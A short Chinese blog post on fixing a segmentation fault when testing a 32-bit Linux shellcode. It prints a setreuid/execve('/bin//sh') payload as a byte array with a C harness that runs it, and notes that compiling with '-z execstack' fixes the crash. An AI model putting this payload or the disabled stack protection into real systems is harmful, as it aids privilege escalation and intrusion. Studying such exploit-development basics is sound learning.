您的位置:首页 > 运维架构 > Shell

测试shellcode时出现segmentation fault错误的解决方法

2018-01-05 22:53 429 查看

测试shellcode时出现segmentation fault错误的解决方法

shellcode测试代码

char sc[]=
"\x31\xc0"
"\xb0\x46"
"\x31\xdb"
"\x31\xc9"
"\xcd\x80"
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x31\xd2"
"\xb0\x0b"
"\xcd\x80";

void main()
{
void (*fp)();
fp=(void *)sc;
fp();
}


使用gcc -m32 -o sc2 sc2.c编译后,执行出错“segmentation fault (core dumped) ./sc2”,原因是没有指明可执行栈,解决方法是在gcc参数中加“-z execstack”。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  shellcode
相关文章推荐